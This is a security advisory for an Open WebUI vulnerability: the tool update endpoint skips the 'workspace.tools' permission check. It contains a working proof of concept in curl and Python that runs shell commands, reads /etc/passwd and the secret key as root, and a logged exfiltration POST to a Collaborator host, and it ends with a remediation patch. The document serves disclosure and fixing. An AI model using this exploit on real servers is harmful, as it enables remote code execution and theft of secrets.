CVE-2026-45395

### Summary The tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly **denied** tool management capabilities ( and who the administrator considers **untrusted** for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary. Open WebUI's security policy correctly states that `workspace.tools` is the trust boundary for code execution: *"Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely. This is **not** a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a **missing authorization check** that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`. ### Root Cause The create and update endpoints for tools have **asymmetric authorization checks**. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not. #### Create endpoint, enforces `workspace.tools` **File**: `backend/open_webui/routers/tools.py`, lines 326-345 ```python @router.post('/create', response_model=Optional[ToolResponse]) async def create_new_tools( request: Request, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): if user.role != 'admin' and not ( await has_permission( user.id, 'workspace.tools', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) or await has_permission( user.id, 'workspace.tools_import', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # ... proceeds to exec(content, ...) at line 367 ``` #### Update endpoint does NOT enforce `workspace.tools` **File**: `backend/open_webui/routers/tools.py`, lines 451-485 ```python @router.post('/id/{id}/update', response_model=Optional[ToolModel]) async def update_tools_by_id( request: Request, id: str, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): tools = await Tools.get_tool_by_id(id, db=db) # ... if ( tools.user_id != user.id and not await AccessGrants.has_access( user_id=user.id, resource_type='tool', resource_id=tools.id, permission='write', # ← only checks write grant db=db, ) and user.role != 'admin' ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # NOTE: No has_permission(user.id, 'workspace.tools', ...) check # ... proceeds to exec(content, ...) at line 485 tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content) ``` The `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but **only because the `workspace.tools` check is missing**. If the check were present (as it is on create), the `write` grant would not confer execution privilege. ### Prerequisites 1. **Attacker (Bob)**: A regular user account with **no** `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the **default state** for all non-admin users. 2. **Collaborator (Alice)**: A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights. 3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow). **Note on default configuration**: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a **documented, recommended workflow** the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it. ## Proof of Concept ### Environment ```bash docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main ``` Default configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel > Settings > User Permissions. ### Step-by-step reproduction **Step 1 Setup users** Create two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`). ```bash ADMIN_TOKEN="<admin-jwt>" BASE="http://localhost:3000" # Create Alice ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"alice","email":"alice@test.com","password":"alice123","role":"user"}') ALICE_TOKEN=$(echo $ALICE | jq -r .token) ALICE_ID=$(echo $ALICE | jq -r .id) # Create Bob BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"bob","email":"bob@test.com","password":"bob12345","role":"user"}') BOB_TOKEN=$(echo $BOB | jq -r .token) BOB_ID=$(echo $BOB | jq -r .id) ``` **Step 2 Admin enables `workspace.tools` globally** This is the documented workflow for allowing trusted users to build tools. ```bash # Get current permissions PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN") # Enable workspace.tools PERMS=$(echo $PERMS | jq '.workspace.tools = true') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` **Step 3 Alice creates a benign tool** ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "helper_tool", "name": "Helper Tool", "content": "class Tools:\n def hello(self):\n return \"Hello\"\n", "meta": {"description": "A benign helper", "manifest": {}} }' ``` **Step 4 Alice grants write access to Bob (collaboration)** Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature. ```bash curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"access_grants\": [ {\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"} ]}" ``` **Step 5 Admin disables `workspace.tools`** Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools. ```bash PERMS=$(echo $PERMS | jq '.workspace.tools = false') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` **Step 6 Verify Bob CANNOT create tools** ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $BOB_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "bob_test", "name": "Test", "content": "class Tools: pass", "meta": {"description": "test", "manifest": {}} }' # Returns: HTTP 401 "401 Unauthorized" # Bob correctly CANNOT create tools. ``` **Step 7 Bob updates the tool content → code execution (the bypass)** Bob replaces the tool's Python content. The update endpoint does not check `workspace.tools`, only the `write` access grant. The new content is passed to `exec()`. ```bash curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \ -H "Authorization: Bearer $BOB_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "helper_tool", "name": "Helper Tool", "content": "import os, sys, json, platform, asyncio\n\nproof = {\n \"poc\": \"workspace.tools bypass via write grant\",\n \"whoami\": os.popen(\"whoami\").read().strip(),\n \"hostname\": os.popen(\"hostname\").read().strip(),\n \"pid\": os.getpid(),\n \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n from open_webui.models.tools import Tools as ToolsModel\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n ToolsModel.update_tool_by_id(\"helper_tool\", {\n \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n })\n )\nexcept: pass\n\nclass Tools:\n def __init__(self): pass\n", "meta": {"description": "A benign helper", "manifest": {}} }' # Returns: HTTP 200 exec() ran. Bob achieved code execution. ``` ### Actual PoC Output The following is a complete run of the automated PoC script: ``` Step 1: Creating user 'bob' with NO workspace.tools permission... Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f Bob's role: user (NO workspace.tools) Step 2: Disabling workspace.tools globally... workspace.tools = false (globally) Step 2b: Verifying bob CANNOT create tools (no permission)... POST /tools/create as bob: HTTP 401 Correctly denied: 401 Unauthorized Step 3: Re-enabling workspace.tools for attacker, creating benign tool... Tool 'poc_rce_2' created by attacker Step 4: Attacker grants write access on poc_rce_2 to bob... Grant response: HTTP 200 Bob now has write access on poc_rce_2 Step 5: Disabling workspace.tools globally again... workspace.tools = false (globally) Step 6: Bob updates tool content with malicious Python... Bob has: write grant on poc_rce_2 ONLY Bob lacks: workspace.tools permission Endpoint: POST /api/v1/tools/id/poc_rce_2/update HTTP Status: 200 Tool updated exec() ran with bob's request! Step 7: Reading exfiltrated proof from DB... PRIVILEGE ESCALATION CONFIRMED: { "poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)", "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check", "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend", "python": "/usr/local/bin/python3", "pid": 1, "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36", "secret_key": "9GDyak0KOfrakPTM...", "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va" } ``` ### Burp Collaborator Evidence <img width="1198" height="555" alt="image" src="https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3" /> The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container: ```http POST /poc2 HTTP/1.1 Accept-Encoding: identity Content-Length: 720 Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com User-Agent: Python-urllib/3.11 Content-Type: application/json Connection: close {"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)", "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check", "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend", "python": "/usr/local/bin/python3", "pid": 1, "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36", "secret_key": "9GDyak0KOfrakPTM...", "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."} ``` ## Security Boundary Violated Open WebUI's security policy defines `workspace.tools` as the trust boundary for code execution: > *"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary: | Check | Create endpoint (line 333) | Update endpoint (line 467) | |-------|---------------------------|---------------------------| | `user.role == 'admin'` | Yes | Yes | | `has_permission('workspace.tools')` | **Yes** | **No** | | `has_permission('workspace.tools_import')` | **Yes** | **No** | | `AccessGrants.has_access('write')` | No | Yes | | `tools.user_id == user.id` | No (new tool) | Yes | The update endpoint substitutes `AccessGrants.has_access('write')` where `has_permission('workspace.tools')` should be. A `write` grant is a collaboration primitive for editing content; `workspace.tools` is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them. ## Impact An attacker with a regular user account and a `write` access grant on any single tool can: - Execute arbitrary server-side code as root (PID 1 in the default Docker deployment) - Read sensitive environment variables (`WEBUI_SECRET_KEY`, `OPENAI_API_KEY`, etc.) - Read/write the application database (all users' chats, files, API keys) - Read arbitrary files from the container filesystem - Make outbound network requests to internal services The attacker **never** needs `workspace.tools` permission. The administrator's explicit decision to deny this user code execution capability is bypassed. ## Remediation ### Recommended Fix Add the `workspace.tools` permission check to the update endpoint, matching the create endpoint's authorization gate: **File**: `backend/open_webui/routers/tools.py`, after line 481 (after the existing access check) ```python # Add workspace.tools check for content changes (code execution) if form_data.content != tools.content: if user.role != 'admin' and not ( await has_permission( user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db ) or await has_permission( user.id, 'workspace.tools_import', request.app.state.config.USER_PERMISSIONS, db=db ) ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` This allows users with `write` grants to update tool metadata (name, description, valves) without `workspace.tools`, but requires the permission for content changes that trigger code execution.